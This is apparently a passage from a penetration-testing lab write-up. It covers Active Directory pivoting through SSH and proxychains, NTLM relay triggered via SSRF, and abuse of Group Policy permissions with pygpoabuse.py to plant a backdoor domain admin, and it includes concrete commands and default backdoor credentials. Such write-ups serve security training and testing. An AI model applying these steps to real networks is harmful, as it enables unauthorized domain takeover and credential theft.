For tools with DNS issues (like Bloodhound with Ligolo), fall back to SSH dynamic port forwarding with proxychains:
ssh user@pivot-host -D 1080
Then configure /etc/proxychains4.conf:
dnat external-ip internal-dc-ip
socks5 127.0.0.1 1080
The dnat line is crucial for routing traffic to the correct internal host. Use proxychains4 to run tools through the tunnel.
6. NTLM Relay via SSRF
When you find an SSRF vulnerability in a Windows application that performs HTTP requests, the application may authenticate using NTLM. You can relay this authentication to other services:
- Set up
impacket-ntlmrelayx targeting LDAP or SMB on the Domain Controller
- Use SSH port forwarding to make your relay server accessible from the internal network
- Trigger the SSRF to connect to your relay server
- Capture and relay the authentication to escalate privileges
Note: SMB signing must be disabled on the target for SMB relay, but LDAP relay works regardless.
7. GPO Abuse for Privilege Escalation
Users with WriteProperty, WriteDacl, or GenericAll permissions on Group Policy Objects can abuse GPOs to gain Domain Admin:
- Identify the target GPO ID from the SYSVOL path:
\\domain\SYSVOL\domain\POLICIES\{GPO-ID}
- Use tools like
pygpoabuse.py to add a scheduled task via GPO:
python pygpoabuse.py domain/user:pass -dc-ip DC-IP -gpo-id 'GPO-ID'
- Force a GPO update:
gpupdate /force
- The tool creates a backdoor admin user (
john:H4x00r123.. by default)
- Use the new admin account to dump domain secrets
Initial Access
#CVE-2024-42009 #XSS #RoundCube #EmailStealing #SSRF #SQLInjection #PostgreSQL #FileRead #RCE #WAFBypass #CharcterObfuscation #DatabaseLogs #BackupFiles #GPGDecryption
Privilege Escalation
#ActiveDirectory #Bloodhound #Ligolo #SSHuttle #SSHPortForwarding #Proxychains #NTLMRelay #LDAPRelay #Kerbrute #PasswordSpraying #GPOAbuse #ScheduledTask #SecretsdumpLast modified on February 18, 2026